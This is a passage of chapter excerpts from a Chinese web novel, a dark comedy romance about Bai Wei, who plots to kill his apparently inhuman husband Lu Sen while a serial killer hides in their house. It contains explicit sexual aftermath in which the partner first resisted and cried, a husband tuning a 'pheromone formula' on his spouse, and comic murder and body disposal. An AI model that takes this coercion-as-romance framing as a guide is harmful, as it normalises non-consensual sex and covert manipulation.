“第一杀手不是白色死神吗?”蓝发少年探头。 “白色死神是隐藏最终BOSS。不然你以为为什么游戏别称是‘杀手101’,他不在百人排名之内。”巨魔玩家说。 “等等……谁来救我 20. 离开黑港城 《经常死老公的都知道》全本免费阅读 白唯用力吞咽嘴里的矿泉水,就像他马上要脱水了一样。喉咙稍微润泽,脑袋却还是晕晕乎乎的。眼前的世界仿佛变成了万花筒,一会儿向左旋转,一会儿向右旋转。 在所有旋转的中心,他看见了一个人的脸——他的丈夫,卢森的脸。 “呜……” 白唯想挥开他,自己喝水,可手臂使不上一点力气。他只能扬着脑袋,一点一点咕噜噜地喝水,直到部分水从嘴角溢出,顺着脖颈流在锁骨上。 喝完,他像小猫一样舔了舔杯壁。 有力地手托着他的后背,把他放了下去。虽然眼睛看不清,但那人身上浓郁的雄性气息让白唯一颤。他想向后躲一躲,却又扯到体内,小小地叫了一声。 白唯又躺在枕头上,慢慢地在回神了,可他依旧能感觉到体内体外那种黏糊糊的感觉。终于,他的眼睛看清了卢森宽阔的肩膀与手臂强壮的肌肉。那粗大的肌肉块让白唯立刻想到了另一件事。 他本能地、哑着嗓子却用尽全力大声地,叫出了一句话。 “我的下面……” 还好吗? 如果手还能动、腰还能折的话,白唯一定会努力亲手确认一下。过去一周的经历让他真怕自己马上就要被送进医院。可他高估了自己的嗓子。现在的他说出的每一句话,都像是被雨打湿的白猫无精打采的几句“咪呜咪呜”。 可卢森偏偏听到了。 卢森按住他两个圆润发红的膝盖。这动作在过去一周之内白唯已经非常熟悉了。一开始他会反抗,后来他会大叫,再后来他会哭。现在他只心如死灰又瑟瑟发抖地躺在床上,心想卢森这下是要把他弄死啊。 他真的要被卢森弄死了! 但这次卢森只是低头观察了好一会儿,什么也没做,直到让白唯羞愤欲绝的程度——尽管按理说,那里已经被卢森用过很多次了。白唯就连胸口都红透了,一看就是觉得自己受了很大的折辱。终于,他听见卢森说:“没有,宝贝。你完全恢复原状了。而且颜色也很漂亮。” “嫩红色的,就像涂了口红一样。” 白唯:“呃——!” 他那一句“呃——!”里包含了对卢森的所有杀意,还有各种各样的武器。近战击杀、狙/击、煤气爆/炸、毒/药…… 卢森又爬上来,在白唯的耳边说:“亲爱的,你那里真好。” 他深切地赞美他。 “你的腿也很好,长长的,很有力,可以在我的背后打蝴蝶结。绞起来时可以把人绞死。” 有没有一种可能,白唯确实想绞死他。 “你的腰也很漂亮,骨肉均亭,薄薄的腹肌和人鱼线的弧度往下收……你的背后也很漂亮,脊椎长长的一条,下凹的线条流畅自然地收到尾椎那里,还有四个凹凹,像是腰上盛满蜜糖的小酒窝……” “明明腰很细,你的臀部却很翘……从最细的地方转折到圆润的臀部,每一寸肉都好好地长着。” “你的腿上摸得到肌肉,也摸得到骨头,你的手臂也是这样。你的手指很修长、很纤细,粉色的指甲也很漂亮,抓着我的背时像是猫在挠人。” “你肩膀的骨头硬硬的,锁骨的中间却下凹。脖子很长,伸长的时候像是哭泣的天鹅,还有你的耳朵,嘴巴,鼻子……你发红的时候耳朵和鼻子也会红,你知道吗?还有你的嘴巴,你痛的时候和你爽的时候都喜欢咬人。让我都不知道那时候该怎么做比较好,但我这一周什么都没想……因为完全遵循着自己的本能去做了……停不下来……” “还有你的眼睛,我第一次知道你这么喜欢哭……你憋着眼泪和流眼泪的时候都好漂亮,还有翻白眼的时候……傻傻的,像是快要晕过去了……眼里飘着爱心……” 天哪,你闭嘴吧!白唯绝望地想着。卢森什么时候有了这么多话能讲?在以前,他只是个会准时下班回家,在家里看一天电视的活尸丈夫啊! 而且,卢森怎么有那么多用来形容他的话?换做白唯,他没有那么多话可以形容卢森。他只能说卢森的肌肉块太大、太硬,让他锤也锤不动,挠也挠不开,咬也咬不透。卢森的体格太健壮,他推也推不开,动也动不了。卢森的手臂太有力,屡屡把他摆来摆去,让他的韧带活动到极限。卢森的嘴真的没有死,到处乱咬到处乱吸。卢森完全不懂技巧,他太快太猛太重,完全凭着野蛮人的性子来,差点没把他弄死在这里……白唯能活过来,全靠过去有着轻度健身的习惯。 而且……白唯骤然反应过来。 他白唯,不是性冷淡吗? 不是医院开具证明的性冷淡吗? 他为什么会躺在这里,几近脱水?喉咙嘶哑? 白唯瞪着眼睛看着卢森,心里的惊涛骇浪已经把他的脑袋打晕。不,不可能,他十五岁的时候就知道自己不是异性恋也不是同性恋……他知道自己的身体很僵硬、很冷淡,就像是冰雕…… 卢森趁火打劫,又亲了一口他。 “亲爱的,你真的很好。虽然已经做好了准备,但你的耐力和柔韧度都超越了我的想象。有好多动作,我根本没想到你可以做到。你真的很了不起。” 这不是什么值得让白唯骄傲的事情!这只是让他更想谋杀丈夫的事情! “而且我会帮你的,你不用担心自己的身体出现状况。以后,你会变得越来越柔软,恢复得越来越快,我们会越来越合适。”卢森高兴地说,“我已经收集了你的很多的反应数据,知道你喜欢几分爽、几分痛……呵呵,没想到你还有一点渴痛……这会让你更兴奋,我观察到好几次了。之后,经过多次练习,我们一定能找到最好的搭配方案来的。” ? “变……态……”白唯嘶哑地说,这是他发出的第一句人声。 卢森被这样一叫,更高兴了。他将其理解成白唯的娇嗔。他抱紧白唯:“宝宝,新家装修好了。等回家后,我们可以到处都试试看,总能找到让你最满意的地方的。” “别碰我肚子……”白唯快要哭出来了。他总觉得在卢森对他腹部的挤压下,床单上更加一片狼藉了。 “人生不会一直都很痛苦。”——诗集如是说。 卢森的确很高兴。白唯一直痛苦的人生在那一周里爽过很多次,然后就变得更加痛苦了。卢森在赞美他、拥抱他之后又没有放过他。两人把床单变得更脏了。而后,他兴致勃勃,抱着气息奄奄的白唯去看单向玻璃外的风景。 在玻璃内,卢森说:“亲爱的,你看,码头那边好像炸了耶。” 白唯:“嗯……” 卢森:“亲爱的,这里是单向玻璃的话,我们是不是可以……” 白唯:“呜……” 卢森:“亲爱的,你好紧张。哇,那边的一个建筑好像 第 21 章 尾随 《经常死老公的都知道》全本免费阅读 卢——森—— 白唯的脑袋里一片空白。卢森真的是故意的。他故意开了两个房间,故意点了双人餐,故意在酒吧玩了假装喝酒的花招,故意…… 他的目的,就是想要玩弄他! 还有谋杀他! 所有的血都涌到了白唯的脑袋上。他的脸色一会儿青,一会儿红,一会儿紫。卢森看白唯脸上色彩斑斓,觉得对方此刻一定是害羞得想死。 白唯真是太可爱了!他还以为自己什么都不知道吗?他以为自己不知道他偷偷跟着自己、担心自己的安全。他以为自己不知道他在为了银行卡密码吃醋,甚至为此跟踪、假装成酒店服务人员进门来抓奸……白唯一定以为自己隐藏得很好,可他已经知道他所有的秘密了! 卢森又亲白唯的耳朵道:“亲爱的,我知道你来黑港城的目的。” 白唯:! 白唯气得牙齿都在发抖。他听见自己齿间咯咯的声音:“你……所以你想怎么样?” 卢森这个心思深沉的人! 坏人! 卢森:“你或许以为,我在黑港城有别人,有别的白月光。事实很复杂,我从头到尾喜欢的人都只有你一个。我在黑港城给你买了适合你的珠宝。我在楼顶餐厅买了双人餐等着你来吃。我在酒店开了两间房因为我刚到黑港城就得了流感需要隔离,到时候我住在30层你住在29层,这一周我在30层隔离,你就每天出去玩。我在酒吧等了很久,但你始终没有来,但还好……” “一杯酒,把我的病提前治好了。”卢森摸了摸自己的胸口,“我真感谢那杯酒,那一定是上天的恩赐。” 白唯:…… 卢森听见白唯的牙齿咯咯咯的,觉得对方是不是在忍着娇羞的笑。他发起总结:“我真感谢这场病。它让我拥有了这么完美的一周。而这不是我们共同想要的吗?宝宝,我已经拥有了越来越多的信心,我们未来的生活,会越来越幸福的。” 他看向自己的妻子,觉得白唯一定很高兴。毕竟白唯已经体验了长达一周多的人间至乐。 可是…… “宝宝,宝宝,你怎么晕过去了?” “宝宝你是太累了还是太害羞了,还是兼而有之?” 一个都没猜对。此刻的白唯是被气晕过去 的。 他愤怒于命运,愤怒于巧合,愤怒于卢森和自己的愚蠢……还有发出那种声音,摆出那种姿势,却还爽得晕过去的他自己。 更让他气愤到绝望的是,这一切好像都是他自找的。 白唯沉沉睡去。卢森看着床上的白唯,觉得他侧着脸的模样就像一个天使。天使已经沉眠。现在,是他处理自己的人间事的时候了。 卢森从房间里站了起来。他回到满是他们二人味道的3003,拿出早已准备好的小推车,把“卢森”的上一个壳从床底下拖了出来、放进了早已准备好的冰柜里。 他会把这冰柜放在后备箱里,开着车将他的壳和白唯一起带回雪山镇。 差点就被白唯发现了。他不无侥幸地想着。 …… 以后还是注意一下用力的角度和位置吧,别再把白唯顶下去了。 …… 等他们两人的身体再契合一些、等白唯彻底走出了他们不和谐的第一次的阴影,那时的他再和白唯想办法说明之前初遇的事吧。 他得想个办法,有逻辑地说明当年在法国留学的“卢森”为什么会像一个流浪汉一样出现在黑港城街头。 还被白唯套进麻袋里,带到了旅馆去。 …… 黑港城从来没有下过那么多的雨,下了足足半个月,满城都是水气蒸腾。粉发女觉得自己的头发都耷拉下来了。 “真是的,我们都是游戏玩家穿到这个世界里了,怎么不能有装备防水啊?”她抱怨道。 “你想得倒挺美。除了这一身装备、技能和回血苹果,还有极其有限的杀手名单和完成任务提示之外,我们在这个世界里毫无别的特长。这里不是买来的游戏,而是一个独立的、属于游戏剧本的世界。”挑染绿瞥了她一眼,泼冷水道,“等回血苹果用光了,我们一样会死在这个世界里。” 她看向这满是水雾的危险城市:“……永永远远。” “绿毛,你怎么老是泼冷水?那就赶紧完成任务呗。”粉毛女往车窗里一看,查完了这辆车,“下一辆!” 警务人员们殷切地配合着他们的检查。他们对于这些神秘人又是敬畏、又是害怕。城里的大人物们忌惮他们,城里的黑/帮都因为他们而减缓了一些帮/派活动 。 他们想,在这个世界上,除了那些强大的连环杀手,应该没有能让他们吃瘪的人吧? 一个警务人员打了个哈欠。就在此刻,一个敏捷的身影悄声无息地潜入了检查站,在场的所有玩家却都不知晓。 那人握着武器,穿着工作人员的衣服。几名被他暗中杀死的警务人员已经永远地被藏在了柜子里。他在暗处盯着那些玩家,眼眸微眯,露出仇恨的眼神。 但此刻不是动手的时候。他谨慎地寻找着离开的时机。 挑染绿把一辆又一辆车放出了检查站,让他们驶向出城的高速公路。粉毛女不耐烦地打了个哈欠道:“整天守在这里,要查到什么时候啊!” “那个支线任务也该完成了。小蓝也该拿着道具回来了……”挑染绿往远处望,终于,看见了蹦蹦跳跳的蓝发少年。 “姐!我把眼镜拿回来了!”少年说。 “有了这个东西,事情就好办了。可以看见市民是红名还是绿名,有效期十二小时是吗?”粉发女伸出手来,“给我看看。” 挑染绿打开她的手,自己把眼镜戴上:“别乱玩,有效期只有十二个小时。” “就你最靠谱是吧。”粉毛女嘀嘀咕咕,却没反驳。 眼镜里的世界泛着湖波般的蓝色。一辆辆车排在检查站外,有序入场。在这时,一辆黑色的大面包车驶入了检查站。 “又来活儿了。”粉毛女吹口哨。 卢森中午退房。早上,他以“反正床也不用睡了”为由和白唯又乱搞了一个上午。这直接导致白唯在浴缸里就睡了过去。卢森一边给白唯搓背,一边想白唯真是越来越敏/感了,被轻轻碰两下都会忍不住叫起来。 白唯对此好像很不开心。要不要调整一下信息素的配方含量呢? 他给白唯穿上睡袍,用大大的白色毛毯裹住白唯。白色绒毛中白唯脸颊玉白,像是安眠的天使。 他把沉睡的白唯放在汽车后座,自己的壳和买来的东西则放在巨大的后备箱里。放倒了最后一排后,面包车惊人地能装。今天依旧在下雨,卢森的心情却很晴朗。他开着车,一路堵到检查站里。 “司机……卢森是吗?你蛮帅的,我见过你。”粉发女往车里探头探脑,“后座上躺的是谁?” “我老婆。”卢森低沉而自豪地说。 “哦……”粉发女看了一眼,后座的人蜷缩着睡觉,裹着毛毯,她看不见他的脸,只能看见一双修长白皙的腿…… 噫,上面青青紫紫的……粉发女一下就懂了,表情变得“啧啧啧”起来。 好福气啊。 “后座上的人活着,没问题。”蓝发少年汇报。 “嗯。”戴着眼镜的挑染绿说。 她看见卢森是一个绿色的NPC。 “检查一下后备箱。”配合他们的警务人员这样说,“好大的冰柜,这个冰柜里放着什么?” 挑染绿本想扫描后座上的老婆。可她的注意力迅速被大冰柜吸引住了。就在那一刻,她看见卢森的人影好像红了一瞬。但很快,当她定睛一看时,卢森还是绿色。 刚才她眼花了? 挑染绿又扫描了两遍,有些疑惑。就在这时警务人员道:“冰柜里这什么玩意儿……海产?” “嗯,一种海洋生物,很有营养。”卢森说。 挑染绿挥挥手,让卢森通过。警务人员盖上了后备箱。卢森又启动汽车。 “谢谢你配合检查。”挑染绿说。 “不用谢。”卢森低沉地说。 下一辆车驶入检查站,卢森的车已经离开。挑染绿没再看卢森的车辆的背影,而是全神贯注地盯向下一辆车。 “你这辆车上载着……哦靠,这车上怎么有具尸体!!” 所有人都拔出了枪。半晌,被按倒在地上的车主哭喊着,不知所措:“不,我真的不知道……我真的不知道它是 第 22 章 缓冲 《经常死老公的都知道》全本免费阅读 “盘旋在黑港城之上整整十天的积雨云终于散去,接下来的一周,会有一个好天气……” “化学科技盘后公布增持计划……” “……据悉,该凶手已经离开黑港城,正在逃亡。” “滴。” 卢森把车内电台调到了舒缓动人的古典音乐频道。他透过后视镜,看见已经从后座坐起来的白唯:“亲爱的,你睡醒了?” 白唯面无表情地看着他。 啊,宝贝刚睡醒,迷迷瞪瞪注视着我的样子真可爱。卢森在心里这样想着,觉得白唯眼中无情,一定是因为五感还未加载。白唯若是看他,他不信他两眼空空。 他自己也惊讶于他对待白唯感觉的变化。在灵肉合一后,他从来没有觉得自己和白唯之间这样贴近过,像是最后的一层障壁也被捅破了。白唯不只是他的藏品,他的生活伙伴,他的妻子,还是他的一部分,和他共享过那样美好的时光、永远只和彼此分享最快乐的触感的一部分。 即使斗转星移,日新月异,那段时光和感觉也被永远地铭刻在了他和白唯各自的生命里。只要想到那种快乐,他第一个想到的总会是白唯。 简而言之就是——他觉得白唯更加属于他自己了。他们本来就该是合为一体的。除此之外还有更多感觉,卢森不会描述。他觉得他应该要看更多人类的书,好让他学会怎么表述自己此刻的心情。 卢森说:“我们已经离开黑港城了,还有半小时到家。在路上,我买了些巧克力和饼干之类的,就放在后座,你要吃的话就去拿,补充体力。车里的音乐你喜欢吗?好听吗?对了,你身体怎么样?舒服一些了吗?” 白唯:…… 白唯斜靠在座位上,表情冷冷恹恹的,一言不发。卢森说:“宝贝,你是身体不舒服,还是晕车,还是心情不好?你想听摇滚乐吗?” 想吐。白唯想。 他其实也不想呕吐,只是那种骤然之间和卢森有了链接的感觉让他感到恐慌。 他的家庭不该是这样的。他和祖父会坐在黑胡桃木的长餐桌两端,互不接触,沉默地用饭,只在餐后用目光做彼此的交会。祖父会让管家把北都大学的录取通知书交到他的手里,他会坐在暗红色软垫的椅子上,双手按在自己的手杖上。他们会用 有理有据的、先进的提案方式提出自己的需求。譬如在先将事由告诉管家,然后在定好的时间随着祖父走进书房,在他的对面坐下。他需要站在书桌前,又或是坐在祖父示意他坐在的椅子上。他会说,是的祖父,我有一个提案,我相信这对我的技能会有所发展,这对于您也有帮助,我请求您通过我的请求……因为这是最理性的、最高效的、能使家庭和谐的方式。 他们会在毕业照上并肩而站,会在去世交家的路上一起坐在后排,但他们不会拥抱,不会拍彼此的肩头,祖父会随时进入白唯的房间但白唯不能进入祖父的,这才是家庭。 而不是像卢森这样……会随时吻他、也会随时不吻他,会没有礼貌地看他的身体,会把床铺弄得乱七八糟,会整整一周多和他紧紧贴在一起不起床的……关系。 车速变慢了下来。卢森又在后视镜里看他了:“怎么了,宝贝?” 白唯第一次发现卢森的眼睛其实不是灰色,在阳光下,那是很澄澈的蓝色。 “我没事,就是有些没睡醒。”白唯说,“你继续开车吧。” 他忍耐住,告诉自己,他的目标还没变。在目标之前,所有的意外都是次要的。如果亲密接触这件事是他的弱点,他就要努力克服。 尽管他不明白……家里为什么会是这样的。 卢森兴高采烈地说:“既然这样,我们来听点轻松的吧。” 他电台一拧:“……专家提示,逃逸犯人极其危险,或许会潜入民居。请各位市民关紧门窗……” 卢森:“听起来好危险啊……我换个台。” 窗外细雨绵绵,白唯眼皮一跳,总觉得今夜是个不祥之夜。 暗处,人影狰狞一笑。 卢森在这时忽然说:“亲爱的,你有没有觉得车身一颠一颠的,好像还挺舒服?” 白唯:? …… 人影藏在后备箱里,听着前排的两个人的对话。他觉得有点不可置信,还有点震惊。 他确实上了一对雪山镇小夫妻的车,可这对小夫妻怎么是一对男的? 震惊只持续了一小会儿,毕竟人影是杀手身经百战。很快他觉得这倒也不奇怪,毕竟他从毯子里瞥见的那只腿真的很美,纤秾合度,玉白挺直,即使是男人的腿也是 很美的。而且后座上那人的声音也很好听……这样的人做老婆也是很合理的,也很应该很受推崇的…… 这对小夫妻一直在前面说着很没营养的话。丈夫的话又多又密,妻子的话又少又淡,一时间让人影觉得开车的丈夫非常舔狗。好在他们家里没有孩子也没有老人,而且还是小镇的外来人口。他想要干掉他们、鸠占鹊巢应该非常容易。 这就是一对普通的夫妻啊!除了丈夫舔狗,妻子冷淡之外,他们脑袋里一天到晚都是明天吃什么这种没营养的事。估计他们被杀的时候也会像那些路人一样,无聊地倒在血泊里。 车停在前院里。人影悄悄从后备箱里下来,就地一滚,钻进了树丛里。树丛密密麻麻,很好地遮掩住了他。人影握紧武器,在树丛中等待埋伏。 一枪打老公头部,一枪打老婆膝盖,把尸体拖进地窖里,把老婆绑在地下室里,鸠占鹊巢。人影一直做得可熟练了。 五分钟过去,十分钟过去……不是,这对夫夫怎么还没下来? 人影正在疑惑,他拨开一点树叶,看见车子竟然在微微地摇晃……不是这什么吊动静…… 而后,他听见车里传来方才后座上那人的哭喊声,还有驾驶座上那人粗重的喘气声。一只白皙的手从车窗里伸出,然后又被抓了回去。 草,还真是吊动静! 不是,你们这礼貌吗?合理吗?人影十分震惊,发现自己竟然闯入了夫妻情趣现场……等等不是啊,这刚开完三个多小时的车,你们哪来的精力这就在车上开搞了?? 就在这时,一句话从车窗缝隙里飘出来:“亲爱的,再忍一下……我在车上时想了好久了……” 人影:…… 他觉得很屈辱。入行十多年,从来没见过这么不知死活的两个人。但来都来了,蹲都蹲了,总不能半途而废。再坚持一下,找找机会。十分钟后,再怎么也该动手了。 正要合上树叶,人影忽然想起后座上那人说话的声音,凉凉的,优雅的,哭起来一定别有风味……也不知道他在床上都会叫点什么 第 23 章 超级幸运 《经常死老公的都知道》全本免费阅读 !! 第一杀手不敢相信自己所看到的一切。除草机的声音还在蜂鸣,他眼睁睁地看见了一场家庭惨剧。 “我的天哪!你们家在干些什么?!我的花墙都要被震塌了!” 恐惧于被警察误认为犯罪凶手,人影拖着断腿将身一滚,由树丛潜行至后院。可就在此刻,他看见那本该被搅成碎片的男人竟然从除草机前站了起来……他拍掉身上碎掉的衣服布条,对怒气冲冲从隔壁赶来的邻居说:“真不好意思,我在前院停车撞在墙上……” “我听到了两声!” “从车上下来后我开始除草……” “我的天啊!我还以为是报道里说的逃犯!除此之外,求求你们把社区的房价放在心上!你们知不知道,从最简单的绿化、到事故率,都会影响到一个社区的房价……” 男人风度翩翩,身体健壮,除了身上的部分衣物已经被除草机搅碎之外一如常态。那一刻,人影听见了自己的世界观崩塌的声音。 和他同时感到崩塌的还有另一个人……杀手刚钻进后院,就看见男人那大步流星的妻子。他套上冲锋衣,口罩蒙着脸,眼神冷漠,动作坚定,背上背着一个双肩包里面疑似是早已准备好的用来跑路的行李。 在撞见他之后人影不得不往另一个方向狂滚——随着“咚”的一声,他差点又发出一声惨叫。 他的屁股,撞到了一个藏在树丛里的钉板上。 ——哪家好夫妻会在花园里设置杀人陷阱?! 健壮的男人往这边走来了。人影在捂着屁股无声哀嚎时,听见瘦削男人颤巍巍的声音:“亲爱的……” 从恐惧,到悲伤,到惊喜,人影从来没有听见过一句话里可以有这么快的情感转变。 “亲爱的……我还以为……我还以为……” “宝宝,你怎么在往这边跑?” “我给医院打急救电话,没打通,想要从后院翻墙出去找医生……” “宝宝,你怎么背着一个包?” “里面是钱和病历……老公!你没事真是太好了!” “没事的宝宝,我只有衣服被搅了进去……” “嗯,老公,我太急了。我看见车头卡在树丛里,想用除草机把树丛铲平、把车头救出来,可 是除草机不听我的使唤……老公,我好不擅长干家务……” “宝宝,别自责了,以后我来做家务就好。” “不,老公,我还会努力的……” 不用看也知道,瘦削男人正抱着健壮男人在哀哀哭泣。人影蜷缩在他们看不见的后院角落里,也强忍着痛苦,将钉子一根根地从自己的屁股里拔出来。 日转星移,那对受惊的夫妻相拥着进入了他们豪华的大别墅。屋里灯亮起,又最终暗下。在一切转至寂静之际,一个人影一瘸一拐地走出了草丛。 屁股里的钉子终于被尽数拔出,断掉的腿骨也被找到绳子和木板固定。人影作为黑港城第一连环杀手,身经百战,处理这点伤口不在话下。可他表情依旧阴郁,时而狠毒、时而惊疑。 难道,真的是自己看错了?从他的角度看见的血肉横飞,只是被车撞成脑震荡带来的巧合? 恐怕的确是巧合。作为曾经亲手结束上百人生命的杀手,人影怎么可能不知道人被杀是什么样子。人被杀就会死是比婚姻更稳定的誓言。 人影名叫裴杰。他早年曾在国外的佣兵团服役,亲自参加过两次战争。回到黑港城后,战争的昔日阴影依旧笼罩着他,好在,他乐于此道,并且精于此道。这么多年他盘踞黑港城作案,从未失手。即使是八名异乡人的联手阻截,也没能防止他离开黑港城。 没想到,在这家普普通通的民居里,他竟然受了这五年来最重的伤! 一楼浴室的阳台很适合攀援。此间夜深人静,很适合裴杰在浴室里取得医药箱,并找到一个无人居住的房间养伤。从那对夫妻的对话中,裴杰知道健壮男人名为卢森,瘦削美人名为白唯。这么大的房子里只有两个人居住,这对于裴杰而言是再合适不过的隐藏场所。 想到这里,裴杰冷笑一声。没想到这样看似幸福的家庭背后,竟然隐藏着如此巨大的秘密。卢森没死是个巧合,但白唯想杀卢森的动作一定是真的。或许不用他出手,白唯就会干掉卢森。等到那时,他只用控制住白唯就够了。 裴杰翻窗翻到一半,不远处却传来脚步声……见鬼的!这家人怎么半夜爬起来?他连忙滚进草丛里,又把伤腿摔了一下,这让他面目扭曲。 但他的手摸到了一个东西……竖起来的改冰锥? 谁家好人把改冰锥竖着放在树丛里?这是为了让人在做园艺时打滑,改冰锥插进脑袋里吗? 但这利好裴杰。他握住改冰锥,心道天助我也。 草叶缝隙中,他看见从房子里出来的人是卢森。和白天时不一样,夜晚的他看起来冷酷又僵硬。卢森打开面包车后备箱,将一个冰柜从后备箱里取出,放在小推车上。 他推着它,走向后院。 好好的怎么白天不卸货,偏要在晚上等老婆睡了再出来卸货?裴杰玩味一笑,他意识到这座房子里的看似恩爱的一对夫妻,都有自己的秘密。 卢森真是个幸运的倒霉鬼。若非裴杰被摔断了腿,此刻背对着他卸货的卢森的性命,早就不复存在了。 他看着卢森挪开花架,把大冰柜藏在了花架背后的地窖里……那里竟然还有个地窖?还好了,裴杰只是想要杀掉这对夫妻鸠占鹊巢。他对他们的秘密并不关心。 卢森又向他这边走来了。他即将背对着草丛走过,这是一个杀他的好时机……藏身在草丛里的裴杰埋伏就在此刻,有了一种不祥的预警感。这种感觉曾伴随他在战场上出生入死,让他保住了他的命。 消音手/枪! 子弹打偏了!它擦过卢森,射入了树丛,然后深深地,射入了裴杰的肩膀。 嗷嗷嗷嗷嗷!! 裴杰捂着自己的肩膀,在草丛里痛得抽搐。而他面前的卢森已经若无其事(真无其事)地走掉了。 只有上帝和裴杰才知道,这一刻的卢森是有多幸运! 卢森上了二楼。二楼卧室的灯再度灭了下来。卢森走过的位置,恰好是二楼主卧阳台能够对他发起伏击的位置。 枪法不好的人,能不能不要用手枪杀老公啊!你这样很容易误伤到想要杀了你们一家的无辜杀手! 而且谁会在枪法不熟练时夜间开枪?花园里也没有一个灯啊!这么短的距离都打不中的废物! 裴杰在对卢森一家的辱骂中,缓缓地失去了知觉。 雪山镇,第二天一早。 昨晚半夜,白唯把手/枪藏在自己那一侧的床底下。这手/枪是他在黑港城时买的。在铺好床后,他无比确定,自己一定要在对性上瘾之前把卢森干掉。他不能接受自己因为和一只僵尸做/爱,而对性习惯,乃至有 可能像那只僵尸一样患上性/瘾。 他已经想不通卢森究竟是个僵尸还是个老谋深算、又幸运得要命的人类了。除草机明显是搅到了什么东西的。他的角度看不见除草机底下,那就承认那是卢森的衣服吧。酒店床上的一切也可能是性带来的幻觉。此刻,他宁愿卢森是后者。一则后者更符合逻辑,僵尸怎么会有性/瘾。二则,他更有杀死人类的可能。 但无论卢森是僵尸还是人类,他都是一个可恶的骗子,使用着虚假的身份和简历,是不存在的幽灵。 他被不存在的幽灵困住了,却又不能接受自己离婚。 或许,只有杀了卢森,才能证明卢森确实活着过。 白唯做了 第 24 章 保护家庭 《经常死老公的都知道》全本免费阅读 “亲爱的,这座自走钟你喜欢吗?” “亲爱的,你想把这只陶瓷猫放在床头吗?” “亲爱的,这幅画很可爱,你觉得……” “旁边的这幅画为什么这么便宜?”白唯说。 画廊里的画大多在一千元以上的价格,只有这幅角落里的画在价签上孤零零地标注着“500”。在等待老板回答时,白唯低身去看。画面上是一座雨中的房屋,翻滚的云卷,发黑的玫瑰,写实的砖瓦……笔触看起来和别的画也没什么区别。 “啊啊,这幅画,这幅画的主人,我们是从急于卖钱脱手的主人手里收来的,所以……”站在白唯身后的老板说。 健壮的卢森就在此刻跨越其他物品,悄声无息地来到了老板身边。 “请对我的妻子说实话。”卢森的眼眸微微泛蓝。 “事实上,这幅画是其画家在生前所作。在画完这幅画后,他枪杀了自己的妻子和孩子,然后饮弹自尽。在那之后,购买了这幅遗作的几个人家都陆续闹鬼。曾经有人半夜看见画里出现一个穿着血衣的女人的身影。这几户人家的男主人也患上了急病……”老板控制不住自己的嘴,他不明白自己为什么说出了这些。 完了!好不容易遇上一个对这幅画感兴趣的人,今天这画又不能脱手了!他绝望地想。 然后他就听见白唯说:“是吗?这幅画背后竟然有这么有意思的东西。老公,我想买这幅画。” ……啊? 卢森有些不赞同,但他给出的理由也让老板难以理解:“亲爱的,这幅画这么便宜,买它太埋汰了。你是不是想给我省钱?我们买那幅最贵的吧。” “不嘛老公,我就喜欢这幅画。”白唯用手帕擦画框,一副很喜欢的样子,“你看,这幅画上的小房子多好看啊!” ……老板成功将这幅画脱手了,甚至,他自己都不明白这幅画怎么能被脱手的。白唯刷了卡,让工人把画搬到自己的车上,靠在柜台旁边询问他:“我第一次知道古董店里还能有这样充满历史的好东西。你们还有别的好东西吗?” 啊? “画作,倒十字架,镜子,脸谱装饰,动物头骨……亲爱的,我第一次知道,你是一个民俗爱好者。”卢森说。 “老公,你不觉 得它们有一种很特别的气场吗?”白唯笑意盈盈,心里想的全是克死你克死你克死你。 他珍爱地把□□和鱼竿放在后备箱里。这两个东西让他觉得一定会有大用途。卢森站在车旁,他其实对买这些人类的小东西没什么兴趣。藏在他仓库里的金银珠宝可比这些古董街上的东西多得多。 他带白唯来逛古董街,也只是因为听说魏连和乔敏会来逛这里而已。人类的夫妻是会一起逛街的吧,他不想让自己显得太奇怪。可惜白唯一开始明显对逛街这件事兴趣缺缺,直到看见那幅画后,他才变得高兴起来。 对于花的钱,卢森从来没有什么感触。白唯本来就是他的东西。白唯买的东西也是他的东西。花这些钱没什么了不起的。而且,他还能借此机会认识雪山镇更多的人,让更多的人知道,他卢森是一个有身份的本地人,拥有一个完美的家庭,一个高学历的漂亮的老婆。 在和白唯开始做/爱后,卢森更加代入并认可自己现在的身份了,他终于在人间又找到了自己的身份归宿。他既然做不成继承白家的、备受尊崇的本地乡绅,那么在雪山小镇做一个有家庭的成功人士也不错。他要用心经营一切,从此,他再也不是没有合法身份、可以随时被大老板当做一把不好用的刀的雇佣兵了。 他是一个老公! 一个多么崇高的身份啊! 他已经带白唯出来玩了,就像电视剧上说的那样,完美的、由他花钱的约会。然后呢?他该做什么,回家吗? 在开车路过农贸市场时,卢森忽然心中一动。他下车,去买了几包玫瑰种子,并不知道自己在干什么。 上车时他给自己找好了理由。正好隔壁超市老板一直催着他整理花园,白唯喜欢那幅画的话,大概是因为喜欢里面的玫瑰花吧。 他也会把家装修成画里那个样子。 “老公,你去做饭,我去把买来的东西放在家里摆好。” 头顶上传来咚咚咚的脚步声,裴杰坐在木板上,知道这对小夫妻在外面逛了一天,现在已经回家了。 私底下恨不得干掉对方,表面上装得还挺恩爱。这一家人,还真有意思啊! 裴杰今天藏身在他们的地下室里。他用医药箱里的物品处理好了伤口,又从冰箱里偷了几个面包、几根香肠 。他花了一天时间恢复体力,打算在夜深人静时伺机杀害这对夫妻中的夫,控制夫妻中的妻。裴杰觉得自己就像是一只隐忍不发的、埋藏在暗处、敏捷又致命的寄生虫。 他把地下室打开了一条缝,听外面的声音。不知道为什么,这地下室的隔音做得非常好,好到在里面用电锯分尸也不会被外人听见的程度。裴杰不知道这种装修是故意的还是不小心的。 卢森在厨房做饭,边做饭边看电视剧。白唯在屋子里跑来跑去布置。让不知内情的人看了,一定觉得他们是好一对恩爱夫夫。裴杰听见卢森说:“亲爱的,你这么喜欢这些东西的话,我们明天可以开车到隔壁镇子上看看,你说好吗?” 远处传来白唯的声音:“你刚才说什么?” “我是说……哦,我忘记了一件事。亲爱的,我好像忘记你是个作家了,我们这一个月以来发生了这么多事,有影响到你的工作吗?”卢森一边颠锅,一边看着电视剧里的内容。当女明星的女主角不愿意让男主角影响到自己的工作。 我好像?忘记?你是个作家? 裴杰先是一愣,而后嗤笑一声。现在看来,这个丈夫也完全不正常。他甚至不知道自己老婆的工作,甚至没想过他们的行程是否对老婆的工作有影响…… 这两人,简直像是在玩一场扮演家庭的过家家游戏一样。一个恨不得杀了对方,一个努力伪装着幸福生活表象。 楼上传来白唯淡淡的声音:“不用担心,我的工作一直有在进行。” 卢森回答:“好的。” 晚饭时间,两个人对坐用餐。自从白唯说过卢森的做饭方式诡异后,卢森的厨艺随着他观看厨艺视频愈发精进,甚至颇有米其林三星风范。裴杰缩在地下室里,一个劲地咽口水。 